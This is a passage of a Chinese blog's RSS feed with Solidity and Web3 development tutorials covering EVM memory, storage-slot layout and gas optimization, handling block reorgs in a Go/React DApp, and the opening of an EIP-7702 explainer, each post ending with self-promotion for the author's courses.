// 优化后：预分配
function efficient(uint256 n) public pure returns (uint256) {
    uint256[] memory temp = new uint256[](n);
    uint256 sum = 0;
    for (uint256 i = 0; i &#x3C; n; i++) {
        temp[i] = i;
        sum += temp[i];
    }
    return sum;
}

</code></pre>
<h3>2. 选择合适的数据位置</h3>
<ul>
<li><strong>只读数据用calldata</strong>：节省复制成本。</li>
<li><strong>需修改时用memory</strong>：确保灵活性。</li>
</ul>
<pre><code class="language-solidity">function useCalldata(uint256[] calldata data) public pure returns (uint256) {
    return data.length; // 直接读取，省gas
}

</code></pre>
<h3>3. 优化内存布局</h3>
<ul>
<li><strong>数据打包</strong>：将小数据压缩存储。</li>
<li><strong>避免零初始化</strong>：在安全的前提下，手动分配未初始化内存。</li>
</ul>
<h2>常见问题与应对</h2>
<h3>内存溢出（Out of Gas）</h3>
<ul>
<li><strong>原因</strong>：循环中过度分配内存。</li>
<li><strong>解决</strong>：限制循环次数，或重用内存。</li>
</ul>
<h3>未预期的内存内容</h3>
<ul>
<li><strong>原因</strong>：内存未初始化或被覆盖。</li>
<li><strong>解决</strong>：确保初始化，或检查指针使用。</li>
</ul>
<h3>数据位置选择错误</h3>
<ul>
<li><strong>原因</strong>：对只读数据误用<code>memory</code>。</li>
<li><strong>解决</strong>：优先使用<code>calldata</code>。</li>
</ul>
<h2>总结</h2>
<p>EVM内存是智能合约开发中的核心环节，理解其布局和分配机制，能让我们在gas优化和安全性上更具优势。通过合理管理内存、选择正确的数据位置，我们可以显著提升合约的性能。</p>
<p>希望这篇干货对你有帮助，快去试试优化你的代码吧！有问题或心得，欢迎留言告诉我～</p>
<hr>
<p>1111</p>
<p>我的产品体系：
《Web3开发转型陪跑计划》
《数字货币投资工具使用教学》
《AI编程教学》
本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Tue, 01 Apr 2025 04:35:51 GMT</pubDate>
    </item>
    <item>
      <title>Solidity存储槽解析：从新手到Gas优化大师</title>
      <link>https://yangxinmin.com/solidity-storage-slots-gas</link>
      <guid isPermaLink="true">https://yangxinmin.com/solidity-storage-slots-gas</guid>
      <description>存储槽是什么？ EVM（以太坊虚拟机）的存储本质上是一个巨大的键值映射：mapping(uint256 = uint256)。具体来说： - 键（key）：一个256位（32字节）的存储槽编号，从0开始。 - 值（value）：同样是256位的数据。 这种设计让每个合约理论上能访问高达 2^256</description>
      <content:encoded><![CDATA[<h2>存储槽是什么？</h2>
<p>EVM（以太坊虚拟机）的存储本质上是一个巨大的键值映射：<code>mapping(uint256 => uint256)</code>。具体来说：</p>
<ul>
<li><strong>键（key）</strong>：一个256位（32字节）的存储槽编号，从0开始。</li>
<li><strong>值（value）</strong>：同样是256位的数据。</li>
</ul>
<p>这种设计让每个合约理论上能访问高达 <strong>2^256 个存储槽</strong>，每个槽位（slot）可存储32字节的数据。初始状态下，所有未使用的槽值均为0。</p>
<p>与内存（Memory）不同，存储是持久化的，会永久保存在区块链上，直到合约通过 <code>selfdestruct</code> 被销毁。这也解释了为何存储操作成本高昂——你实际上是在为永久存储付费。</p>
<p>举个栗子🌰：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StorageExample {
    uint256 a = 1;                        // 占用槽0
    address b = 0xbbbbbbbbbbbbbbbbbbbb;   // 占用槽1
    bool c = true;                        // 占用槽2
    // ...依次类推
}

</code></pre>
<p>在合约中，每个状态变量都会被编译器分配到一个或多个存储槽。对于基本数据类型，编译器通常按声明顺序，从槽0开始依次分配。</p>
<h2>如何访问存储槽？</h2>
<p>EVM提供了两个基本操作码来操作存储槽：</p>
<ul>
<li><strong><code>SLOAD(slot)</code></strong>：读取指定槽的值，<code>slot</code> 是槽编号。</li>
<li><strong><code>SSTORE(slot, value)</code></strong>：向指定槽写入值。</li>
</ul>
<p>在Yul（内联汇编）中，这两个操作码可以这样使用：</p>
<pre><code class="language-solidity">assembly {
    let slot := 0x0             // 假设访问槽0
    let value := sload(slot)    // 读取
    sstore(slot, value)         // 写入
}

</code></pre>
<p>我们来验证一下：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StorageExample {
    uint256 public a = 1;                        // 占用槽0
    address public b = 0xbbbbbbbbbbbbbbbbbbbb;   // 占用槽1
    bool public c = true;                        // 占用槽2

    // 输入槽号，返回对应值
    function getStorageSlot(uint256 slot) public view returns (uint256) {
        uint256 value;
        assembly {
            value := sload(slot)
        }
        return value;
    }
}

</code></pre>
<p>在这个例子中，<code>getStorageSlot</code> 函数允许你输入槽号并返回对应值。通过调用它，你可以轻松验证存储槽的内容。</p>
<h2>各数据类型是怎样存放在槽中的？</h2>
<h3>基础数据类型的存储布局</h3>
<p>基础数据类型包括 <code>uint8</code> 到 <code>uint256</code>、<code>address</code> 和 <code>bool</code>。仍以上面合约为例：</p>
<pre><code class="language-solidity">contract StorageExample {
    uint256 a = 1;                        // 占用槽0
    address b = 0xbbbbbbbbbbbbbbbbbbbb;   // 占用槽1
    bool c = true;                        // 占用槽2
}

</code></pre>
<p>你会发现，每个变量都占用了整整一个槽。但这其实很浪费：<code>bool</code> 只需1字节，<code>address</code> 只需20字节，剩下的字节就被白白占用了。有没有办法优化呢？答案是有的，接下来看看存储槽的打包机制。</p>
<h3>存储槽的打包机制</h3>
<p>Solidity编译器会自动将多个小于32字节的变量打包到同一槽中，以节省Gas：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract OptimizedStorage {
    bool a;        // 占用槽0的1字节
    uint64 b;      // 占用槽0的8字节
    address c;     // 占用槽0的20字节
    uint256 d;     // 占用槽1的32字节（无法再打包）
}

</code></pre>
<p>我们用Yul（内联汇编）验证一下打包效果：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StoragePacking {
    bool a;      // 占用槽0的1字节
    uint64 b;    // 占用槽0的8字节
    address c;   // 占用槽0的20字节
    uint256 d;   // 占用槽1的32字节

    function verifyPacking() public view returns (bytes32, bytes32) {
        bytes32 slot0;
        bytes32 slot1;
        assembly {
            slot0 := sload(0)  // 读取槽0
            slot1 := sload(1)  // 读取槽1
        }
        return (slot0, slot1);
    }

    function setValues(bool _a, uint64 _b, address _c, uint256 _d) public {
        a = _a;
        b = _b;
        c = _c;
        d = _d;
    }
}

</code></pre>
<p>调用 <code>setValues(true, 123456789, 0x1234...5678, 9999)</code> 后，再调用 <code>verifyPacking()</code>，你会发现 <code>slot0</code> 包含了 <code>a</code>、<code>b</code>、<code>c</code> 的打包值，而 <code>slot1</code> 只存储了 <code>d</code>。</p>
<h3>复杂数据类型的存储布局</h3>
<h3><strong>mapping（映射）</strong></h3>
<p>简单来说，<code>mapping</code> 的存储位置是通过键和槽号计算得出的，不会直接占用声明的槽。</p>
<p><code>mapping</code> 是Solidity中最独特的数据结构之一：</p>
<pre><code class="language-solidity">mapping(address => uint256) public balances; // 槽n

</code></pre>
<p>假设它分配到槽n，访问 <code>balances[addr]</code> 时，实际存储位置是：</p>
<pre><code>keccak256(abi.encode(addr, uint256(n)))

</code></pre>
<p>也就是说，槽n本身只是一个“入口点”，不存数据（值为0），键值对分散存储在哈希计算出的位置。</p>
<p>我们来验证一下：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StorageExample {

    mapping(address => uint256) public balances; // 槽0

    function setBalance(address user, uint256 amount) external {
        balances[user] = amount;
    }

    function getBalance(address user) public view returns (uint256) {
        uint256 userBalance;
        assembly {
            // 计算存储位置
            // 加载到暂存空间（scratch space） 0x00-0x3F
            mstore(0, user)      // 在内存起始位置存储用户地址
            mstore(32, 0)        // 在内存中存储mapping的槽位(0)
            let slot := keccak256(0, 64)  // 计算实际存储位置
            userBalance := sload(slot)    // 加载数据 注：balance在Yul中是语法关键词，不能用作变量名
        }
        return userBalance;
    }

    // 查看槽0中的内容，啥也没有，值为0
    function viewSlot0() public view returns (bytes32) {
        bytes32 slotContent;
        assembly {
            slotContent := sload(0)
        }
        return slotContent;
        // 返回0x0000000000000000000000000000000000000000000000000000000000000000
    }
}

</code></pre>
<h3><strong>动态数组</strong></h3>
<p>动态数组的存储位置基于槽号和索引计算，也不直接用槽n存数据。它的结构是：</p>
<ol>
<li>槽n存放数组的长度。</li>
<li>元素从 <code>keccak256(n)</code> 开始顺序存储。</li>
</ol>
<pre><code class="language-solidity">uint256[] public values; // 槽n

</code></pre>
<p>例如：</p>
<ul>
<li>槽n存放数组的长度。</li>
<li>元素依次存放在 <code>keccak256(n) + 0</code>、<code>keccak256(n) + 1</code> 等。</li>
</ul>
<p>我们来验证一下：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StorageExample {

    uint256[] public values; // 槽0

    function pushValue(uint256 value) public {
        assembly {
            let slot := 0              // 数组在槽0
            let length := sload(slot)  // 读取长度

            // 计算数组数据起始位置
            mstore(0, slot)
            let dataSlot := keccak256(0, 32)

            // 存储新元素
            sstore(add(dataSlot, length), value)

            // 更新数组长度
            sstore(slot, add(length, 1))
        }
    }

    // 查看槽0中的内容，存储的是数组的长度
    function viewSlot0() public view returns (bytes32) {
        bytes32 slotContent;
        assembly {
            slotContent := sload(0)
        }
        return slotContent;
        // 调用pushValue方法两次后，
        // 返回0x0000000000000000000000000000000000000000000000000000000000000002
    }

}

</code></pre>
<h3><strong>struct（结构体）</strong></h3>
<p>结构体在存储中占用连续槽位，从声明位置开始：</p>
<pre><code class="language-solidity">struct Config {
    uint256 maxValue;     // 32字节
    address owner;        // 20字节
    uint64 timestamp;     // 8字节
    bool active;          // 1字节
}
Config public config;     // 槽n

</code></pre>
<p>布局如下：</p>
<ul>
<li><code>maxValue</code> 占槽n。</li>
<li><code>owner</code>、<code>timestamp</code> 和 <code>active</code> 打包在槽n+1。</li>
</ul>
<p>我们来验证一下：</p>
<pre><code class="language-solidity">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract StorageExample {
    struct Config {
        uint256 maxValue;     // 32字节
        address owner;        // 20字节
        uint64 timestamp;     // 8字节
        bool active;          // 1字节
    }

    Config public config; // 槽0

    // 设置配置信息
    // 假设传入：1,0x1234567890123456789012345678901234567890,1311768467463790320,true
    function setConfig(uint256 _maxValue, address _owner, uint64 _timestamp, bool _active) external {
        config.maxValue = _maxValue;
        config.owner = _owner;
        config.timestamp = _timestamp;
        config.active = _active;
    }

    // 添加一个辅助函数来显示原始存储值
    function debugStorage() public view returns (bytes32, bytes32) {
        bytes32 slot0;
        bytes32 slot1;

        assembly {
            slot0 := sload(0)
            slot1 := sload(1)
        }

        return (slot0, slot1);
        // 0x0000000000000000000000000000000000000000000000000000000000000001
        // 0x00000001123456789abcdef01234567890123456789012345678901234567890
        // 分析：
        // 槽0: 0x0000000000000000000000000000000000000000000000000000000000000001 - 这是maxValue的值，即1
        // 槽1: 0x00000001123456789abcdef01234567890123456789012345678901234567890 - 这是打包的owner、timestamp和active
        // 我们可以看到Solidity编译器是如何打包这些值的：
        // 最右边（低位）是owner: 0x1234567890123456789012345678901234567890
        // 中间是timestamp: 0x123456789abcdef0 即 1311768467463790320
        // 最左边（高位）是active: 0x00000001（true）
    }

    // 用Yul读取配置，但使用与Solidity相同的存储布局
    function getConfig() public view returns (uint256, address, uint64, bool) {
        uint256 maxValue;
        address owner;
        uint256 timestampRaw;
        bool active;

        assembly {
            // 读取第一个成员 - maxValue
            maxValue := sload(0)

            // 读取打包的成员
            let packedValue := sload(1)

            // 从debugStorage我们可以看到owner在最低位，占20字节
            owner := and(packedValue, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)

            // timestamp在owner之后，占用8字节，需要右移160位(20字节)
            timestampRaw := and(shr(160, packedValue), 0xFFFFFFFFFFFFFFFF)

            // active在最高位，占用1字节，需要右移224位(28字节)
            active := and(shr(224, packedValue), 0x1)
        }

        // 在assembly块外进行类型转换
        uint64 timestamp = uint64(timestampRaw);

        return (maxValue, owner, timestamp, active);
    }
}

</code></pre>
<p><strong>小结</strong>：<code>mapping</code> 靠哈希分散存储，数组和结构体则更规律，分别基于计算位置和连续槽位。</p>
<h2>存储操作的Gas消耗分析</h2>
<h3><strong>SSTORE和SLOAD的Gas规则</strong></h3>
<p>存储操作是Gas消耗大户，规则如下：</p>
<ul>
<li><strong>SLOAD（读取）</strong>：
<ul>
<li>基础消耗：100 Gas（Istanbul硬分叉前为200 Gas）。</li>
</ul>
</li>
<li><strong>SSTORE（写入）</strong>：
<ul>
<li>从0到非0：20,000 Gas（初次写入）。</li>
<li>从非0到非0：5,000 Gas（修改）。</li>
<li>从非0到0：5,000 Gas + 15,000 Gas退款（清除）。</li>
</ul>
</li>
</ul>
<p>注意：退款在交易结束时结算，且不超过总Gas消耗的50%。这些规则基于 <code>EIP-2929</code>，未来可能随升级调整。</p>
<h3><strong>不良存储设计的Gas浪费案例</strong></h3>
<p>看看这个例子：</p>
<pre><code class="language-solidity">contract Wasteful {
    struct Tiny {
        uint8 a;
        bool b;
    }
    Tiny[] public records;
    function addRecord(uint8 _a, bool _b) public {
        records.push(Tiny(_a, _b));
    }
}

</code></pre>
<p>每次 <code>addRecord</code> 需20,000 Gas，却只存9位数据（8位uint8 + 1位bool），非常浪费。</p>
<p>优化版本：</p>
<pre><code class="language-solidity">contract Efficient {
    uint256[] public packedRecords;

    function addRecord(uint8 _a, bool _b) public {
        // 将a和b打包成一个uint256
        uint256 packed = (uint256(_a) &#x3C;&#x3C; 1) | (uint256(_b ? 1 : 0));
        packedRecords.push(packed);
    }

    function getRecord(uint256 index) public view returns (uint8 a, bool b) {
        uint256 packed = packedRecords[index];
        a = uint8(packed >> 1);
        b = (packed &#x26; 1) == 1;
    }
}

</code></pre>
<p>优化后，一个槽能存更多数据，Gas消耗大幅降低。</p>
<h2>存储优化最佳实践</h2>
<h3><strong>1. 变量排序优化</strong></h3>
<p>合理排序变量能优化布局：</p>
<pre><code class="language-solidity">// 未优化
contract Unoptimized {
    uint128 a;  // 槽0
    uint256 b;  // 槽1
    uint128 c;  // 槽2
}

// 优化后
contract Optimized {
    uint128 a;  // 槽0前16字节
    uint128 c;  // 槽0后16字节
    uint256 b;  // 槽1
}

</code></pre>
<p>原则：<strong>小型变量放一起</strong>，方便打包。</p>
<h3><strong>2. 使用更小的数据类型</strong></h3>
<p>除非必要，避免用大类型：</p>
<pre><code class="language-solidity">// 浪费
contract Wasteful {
    uint256 smallNumber; // 只存0-100
}

// 优化
contract Efficient {
    uint8 smallNumber;  // 够存0-255
}

</code></pre>
<p>但注意：内存和栈上的小类型可能因对齐增加Gas，优化主要针对存储。</p>
<h3><strong>3. 使用常量和不可变量</strong></h3>
<p><code>constant</code> 和 <code>immutable</code> 不占槽：</p>
<pre><code class="language-solidity">contract Constants {
    uint256 constant MAX_USERS = 1000;      // 不占用存储槽，在编译时直接替换为值
    address immutable owner = msg.sender;   // 不占用存储槽，部署时确定并嵌入代码中
}

</code></pre>
<h3><strong>4. 避免存储冲突</strong></h3>
<p>代理模式下注意冲突：</p>
<pre><code class="language-solidity">contract LogicV1 {
    uint256 public value;  // 槽0
}

contract LogicV2 {
    address public admin;  // 槽0，覆盖value!
    uint256 public value;  // 槽1
}

</code></pre>
<p>解决：用存储槽继承或OpenZeppelin的Storage库。</p>
<h3><strong>5. 使用存储布局分析工具</strong></h3>
<p>推荐工具：</p>
<ol>
<li>Hardhat的 <code>hardhat-storage-layout</code> 插件。</li>
<li>Slither的存储布局检测器。</li>
<li>solc的 <code>-storage-layout</code> 选项。</li>
</ol>
<h2>总结</h2>
<p>掌握存储槽是写高效合约的第一步。合理的布局设计能降低Gas成本，还能规避安全隐患。</p>
<p>希望这篇干货对你有帮助，快去优化代码吧！有问题或心得，欢迎留言告诉我～</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Sun, 30 Mar 2025 10:27:12 GMT</pubDate>
    </item>
    <item>
      <title>【区块链】在DApp中如何处理区块回滚的问题</title>
      <link>https://yangxinmin.com/dapp-blockchain-reorg</link>
      <guid isPermaLink="true">https://yangxinmin.com/dapp-blockchain-reorg</guid>
      <description>字数 2446，阅读大约需 13 分钟 关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） 在区块链应用（DApp）开发中，区块回滚是个常见的麻烦。区块链上的数据以区块形式存</description>
      <content:encoded><![CDATA[<blockquote>
<p>字数 2446，阅读大约需 13 分钟</p>
</blockquote>
<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<p>在区块链应用（DApp）开发中，区块回滚是个常见的麻烦。区块链上的数据以区块形式存储，但由于网络分叉或共识机制特性，如以太坊的叔块或比特币的孤块，回滚时有发生。</p>
<p>这种情况会影响DApp的数据一致性，今天我们一起聊聊如何有效应对区块回滚的问题？</p>
<h2><strong>区块回滚是个啥？</strong></h2>
<p>简单来说，区块回滚指的是链上已确认的区块被舍弃，另一条分叉链成为主链的过程。这通常发生在：</p>
<ul>
<li>网络分区导致临时分叉</li>
<li>51%攻击（虽然罕见但理论上可能）</li>
<li>共识算法特性（如POW中的算力竞争）</li>
</ul>
<p>回滚会导致已被确认的交易重新变为未确认状态，严重点的话甚至可能被完全丢弃。</p>
<h2><strong>怎么处理区块回滚？</strong></h2>
<p>处理区块回滚，我的思路就三点：</p>
<h3><strong>1. 及时发现区块回滚</strong></h3>
<p>后端实时监控链上的最新区块号和父区块哈希（ParentBlockHash），与本地记录对比。如果发现不一致，立即启动回滚预警机制。对于不那么在意实时性的DApp，可以延后跟踪1到6个区块，等待网络自行解决短期分叉就好。</p>
<h3><strong>2. 及时更新本地数据状态</strong></h3>
<p>发现回滚后，后端就得迅速调整受影响交易的状态，比如从"已确认"改为"待确认"或"已回滚"。数据库里的交易状态设计要清晰，明确定义各种中间态，如pending（待确认）、confirmed（已确认）、reverted（已回滚），前端同样也要有中间态的展示。</p>
<h3><strong>3. 前后端保持同步</strong></h3>
<p>通过API或WebSocket将状态变化推送给前端，确保界面及时反映最新情况。对于那些特别讲究实时性的DApp，可以直接从链上读取数据；其他场景则可以依赖后端API提供状态更新。</p>
<h2><strong>区块回滚带来的问题</strong></h2>
<h3><strong>1. 交易会丢失吗？</strong></h3>
<p>一般情况下，交易不会因区块回滚而丢失。节点会根据交易状态自动处理：</p>
<ul>
<li><strong>未打包交易</strong>：躺在内存池（mempool）中的交易不受回滚影响，继续等待打包。</li>
<li><strong>已打包但回滚</strong>：交易会返回内存池，节点会自动重新广播，你不用操心去手动干预。</li>
<li><strong>Gas不足情况</strong>：如果交易因Gas价格太低长时间无人问津，你可以通过提高Gas Price重新提交，用相同nonce覆盖原交易，或使用新nonce发起新交易。</li>
</ul>
<h3><strong>2. 用户资金会丢失吗？</strong></h3>
<p>资金不会因交易丢失而蒸发，因为资金状态是由链上数据决定的。只要交易最终被重新打包并确认，资金流向就不会出问题。不过在回滚期间，用户界面上看到的余额可能会忽高忽低，这时候就需要贴心地提示用户了。</p>
<h2><strong>实战案例：单币质押项目</strong></h2>
<p>拿我开发的一个单币质押项目举例，假设用户质押了100个ETH，交易被打包到区块10000，但这个区块随后发生了回滚，前后端应该怎样协同处理？</p>
<p>项目用的是Golang后端、React前端、Solidity合约、PostgreSQL数据库和RabbitMQ消息中间件。</p>
<h3><strong>后端实现：实时监控链上状态</strong></h3>
<p>后端需要运行一个监听服务，定期获取最新区块信息，检测可能的回滚情况，简化版代码示例如下：</p>
<pre><code class="language-go">package main

import (
    "context"
    "fmt"
    "github.com/ethereum/go-ethereum/ethclient"
    "github.com/ethereum/go-ethereum/common"
    "time"
)

type BlockInfostruct {
    Numberuint64
    Hash       common.Hash
    ParentHash common.Hash
}

funcmonitorChain(client *ethclient.Client) {
var lastBlocks = make(map[uint64]common.Hash) // 记录过去的区块高度和哈希

for {
        // 获取最新区块
        block, err := client.BlockByNumber(context.Background(),nil)
if err !=nil {
            fmt.Println("获取区块失败:", err)
            time.Sleep(5 * time.Second)
continue
        }

        currentHeight := block.NumberU64()
        currentHash := block.Hash()
        parentHash := block.ParentHash()

        // 检查是否发生回滚
if storedHash, exists := lastBlocks[currentHeight]; exists &#x26;&#x26; storedHash != currentHash {
            fmt.Printf("检测到区块冲突: 高度 %d 哈希不匹配\n", currentHeight)
            handleRollback(currentHeight)
        }

        // 检查父区块哈希是否匹配
if prevHash, exists := lastBlocks[currentHeight-1]; exists &#x26;&#x26; prevHash != parentHash {
            fmt.Printf("检测到区块回滚: 高度 %d 的父区块哈希不匹配\n", currentHeight)
            handleRollback(currentHeight-1)
        }

        // 更新区块记录
        lastBlocks[currentHeight] = currentHash

        // 清理过老的记录，只保留最近100个区块
if currentHeight > 100 {
            delete(lastBlocks, currentHeight-100)
        }

        time.Sleep(5 * time.Second)
    }
}

funchandleRollback(rollbackHeightuint64) {
    // 查找受影响的交易
    txs := db.Query("SELECT tx_hash FROM transactions WHERE block_number >= ?", rollbackHeight)
for _, tx :=range txs {
        // 更新交易状态
        db.Exec("UPDATE transactions SET status = 'reverted' WHERE tx_hash = ?", tx.TxHash)
    }
}
</code></pre>
<p>数据库设计上，<code>transactions</code>表至少应包含以下字段：</p>
<ul>
<li><code>tx_hash</code>：交易哈希</li>
<li><code>block_number</code>：交易所在区块高度</li>
<li><code>status</code>：交易状态（pending/confirmed/reverted）</li>
<li><code>confirmations</code>：确认数</li>
<li><code>timestamp</code>：时间戳</li>
</ul>
<h3><strong>前端实现：响应状态变化</strong></h3>
<p>前端要同时监听区块变化和后端状态更新通知，简化版代码示例如下：</p>
<pre><code class="language-jsx">import { useEffect, useState }from 'react';
import { ethers }from 'ethers';

// 假设WebSocket连接已建立
const ws =newWebSocket('ws://your-backend-api.com/ws');

functionTransactionMonitor({ txHash }) {
const [txStatus, setTxStatus] =useState('pending');
const [confirmations, setConfirmations] =useState(0);
const [message, setMessage] =useState('');

const provider =new ethers.providers.Web3Provider(window.ethereum);

useEffect(() => {
        // 监听区块变化
constblockListener = (blockNumber) => {
            console.log('新区块:', blockNumber);

            // 查询交易收据
if (txHash) {
                provider.getTransactionReceipt(txHash).then(receipt => {
if (receipt) {
const newConfirmations = blockNumber - receipt.blockNumber;
setConfirmations(newConfirmations);

                        // 确认数达到阈值，更新状态
if (newConfirmations >= 6 &#x26;&#x26; txStatus === 'pending') {
setTxStatus('confirmed');
                        }
                    }
                });
            }
        };

        provider.on('block', blockListener);

        // WebSocket监听后端通知
        ws.onmessage = (event) => {
const data =JSON.parse(event.data);

            // 仅处理当前交易的状态更新
if (data.tx_hash === txHash) {
setTxStatus(data.status);
setMessage(data.message || '');

                // 如果交易被回滚，显示通知
if (data.status === 'reverted') {
showNotification('交易状态变化', '您的交易已被回滚，正在等待重新确认');
                }
            }
        };

return () => {
            provider.removeListener('block', blockListener);
        };
    }, [txHash, txStatus]);

const statusDisplay = {
        'pending': '处理中',
        'confirmed': '已确认',
        'reverted': '已回滚'
    };

return (
        &#x3C;div className="transaction-status">
            &#x3C;h3>交易状态: {statusDisplay[txStatus]}&#x3C;/h3>
            &#x3C;p>确认数: {confirmations}&#x3C;/p>
            {message &#x26;&#x26; &#x3C;p className="message">{message}&#x3C;/p>}
            {txStatus === 'reverted' &#x26;&#x26; (
                &#x3C;div className="alert">
                    此交易所在区块已回滚，等待网络重新打包确认。资金安全不受影响。
                &#x3C;/div>
            )}
        &#x3C;/div>
    );
}

functionshowNotification(title, body) {
    // 显示浏览器通知或UI提示
if (Notification.permission === 'granted') {
newNotification(title, { body });
    }else {
        // 回退到UI提示
        console.log(`${title}: ${body}`);
    }
}
</code></pre>
<h3><strong>回滚后的交易处理流程</strong></h3>
<ol>
<li>1. <strong>发现回滚</strong>：后端通过区块监控服务检测到哈希不匹配或高度降低。</li>
<li>2. <strong>更新状态</strong>：查询受影响区块中的所有交易，将状态改为"reverted"。</li>
<li>3. <strong>通知前端</strong>：通过WebSocket推送状态变更消息。</li>
<li>4. <strong>用户提示</strong>：前端显示友好提示，安抚用户情绪，告知用户交易正在等待重新打包。</li>
<li>5. <strong>持续监控</strong>：继续监控链上状态，一旦交易重新被打包并确认，更新状态为"confirmed"。</li>
</ol>
<h3><strong>不同类型DApp的特殊考虑</strong></h3>
<p><strong>1. DEX(去中心化交易所)</strong></p>
<ul>
<li>回滚可能导致订单状态不一致，需要额外监控订单簿</li>
<li>可能需要取消因回滚而无效的订单匹配结果</li>
<li>价格预言机数据可能受影响，需要验证数据新鲜度</li>
</ul>
<p><strong>2. NFT交易平台</strong></p>
<ul>
<li>跟踪所有权变更历史，确保UI显示正确的当前所有者</li>
<li>在回滚期间可暂时禁用特定NFT的交易功能</li>
<li>提供交易历史时标注可能受回滚影响的记录</li>
</ul>
<p><strong>3. DeFi借贷平台</strong></p>
<ul>
<li>密切监控清算阈值，回滚可能导致错误的清算</li>
<li>在确认回滚影响范围时，可能需要暂停受影响资产的自动化操作</li>
<li>使用多重确认机制验证价格变动，别让预言机出岔子</li>
</ul>
<h2><strong>最佳实践</strong></h2>
<ol>
<li>1. <strong>确认数策略</strong>：不同价值交易采用不同确认数阈值，这很实用
<ul>
<li>小额交易：1-3个确认</li>
<li>中等价值：6个确认</li>
<li>高价值交易：12+确认</li>
</ul>
</li>
<li>2. <strong>状态设计</strong>：使用明确的状态流转
<ul>
<li>初始状态：<code>created</code> → 提交到链上：<code>pending</code> → 首次打包：<code>included</code> → 足够确认：<code>confirmed</code></li>
<li>回滚路径：<code>included/confirmed</code> → <code>reverted</code> → 重新打包：<code>included</code> → ...</li>
</ul>
</li>
<li>3. <strong>数据一致性</strong>：设计数据模型时考虑回滚可能性
<ul>
<li>交易表增加<code>revert_count</code>字段记录回滚次数</li>
<li>用<code>block_hash</code>字段存储交易所在区块哈希，便于验证</li>
<li>保留交易历史记录，不直接删除数据</li>
</ul>
</li>
<li>4. <strong>用户体验</strong>：透明但不造成恐慌
<ul>
<li>以简单术语解释回滚状态："网络正在处理您的交易"，不要用太多专业术语吓到用户</li>
<li>提供估计确认时间或进度条，让等待不那么煎熬</li>
<li>特殊情况下主动联系高价值交易用户</li>
</ul>
</li>
</ol>
<h2><strong>总结</strong></h2>
<p>区块回滚在DApp开发里确实挺烦人的，但只要我们处理得当，也没啥大不了。核心就三招：<strong>及时发现区块回滚、及时更新本地数据状态、前后端同步好</strong>。</p>
<p>以后区块链技术再发展，估计会有更省心的方案，咱们开发者也能少操点心。</p>
<p>你觉得怎么样？欢迎在评论区分享你的看法或疑问，也可以加我微信聊聊！</p>
<hr>
<p>1111</p>
<p>我的产品体系：</p>
<p>《Web3开发转型陪跑计划》</p>
<p>《数字货币投资工具使用教学》</p>
<p>《AI编程教学》</p>
<p>本人技术栈：</p>
<p>Solidity/Golang/Rust/NodeJS/Python/AI编程</p>
<p>项目合作，欢迎你来链接我！</p>
<p>都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>区块链</category>
      <pubDate>Fri, 21 Mar 2025 18:01:08 GMT</pubDate>
    </item>
    <item>
      <title>【以太坊】EIP-7702：让你的钱包秒变智能合约</title>
      <link>https://yangxinmin.com/eip-7702-smart-wallet</link>
      <guid isPermaLink="true">https://yangxinmin.com/eip-7702-smart-wallet</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） 说在前面 嘿，你有没有想过，自己的普通钱包有一天能像智能合约那样“聪明”起来？我最近花了两天时间研究了一下EIP-7702</description>
      <content:encoded><![CDATA[<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<h2>说在前面</h2>
<p>嘿，你有没有想过，自己的普通钱包有一天能像智能合约那样“聪明”起来？我最近花了两天时间研究了一下<strong>EIP-7702的实现原理</strong>，从钱包怎么发交易到EVM怎么执行，总算搞明白了。写下来分享给你，希望你也能跟我一样，每天进步一点点！</p>
<p>EIP-7702是以太坊账户抽象领域的一个新玩法，由V神（Vitalik Buterin）提出，已经被敲定放进以太坊的下一次大升级——Pectra里(2025年3月5日，测试网络Sepolia已经升级)。</p>
<p>简单来说，它能让你的普通钱包（也就是EOA，外部拥有账户）在发一笔交易时，临时“变身”成智能合约，干点复杂的事儿，用完就变回去。这听起来是不是挺酷？不仅用起来方便，还能给以太坊生态带来更多可能性。</p>
<h2>EIP-7702是啥东东？</h2>
<p>在EIP-7702之前，以太坊的账户分两种：一种是你用私钥控制的EOA，比如你常用的钱包地址，只能转转账、调调合约；另一种是合约账户，部署了代码，能自己跑逻辑。EOA虽然简单，但功能有限，想干点高级的事儿就得靠合约账户。而EIP-7702来了之后，你的EOA也能临时“升级”，比如：</p>
<ul>
<li><strong>批量操作</strong>：一次交易搞定好几件事。
比如你在DeFi里想用代币A换代币B，通常得先“批准”（approve），再“交换”（swap），两步走又费Gas又麻烦。现在用EIP-7702，一步到位，省心省钱。</li>
<li><strong>临时授权</strong>：让别人用你的账户，又不用给私钥。
比如你想让朋友拿你的NFT玩一天游戏，EIP-7702能给个临时权限，过期就失效，安全得很。</li>
<li><strong>Gas赞助</strong>：没ETH也能玩。
假如你是新手，没ETH付Gas，DApp可以用EIP-7702帮你垫付，上手门槛一下子就低了。</li>
<li><strong>找回钱包</strong>：私钥丢了也不慌。
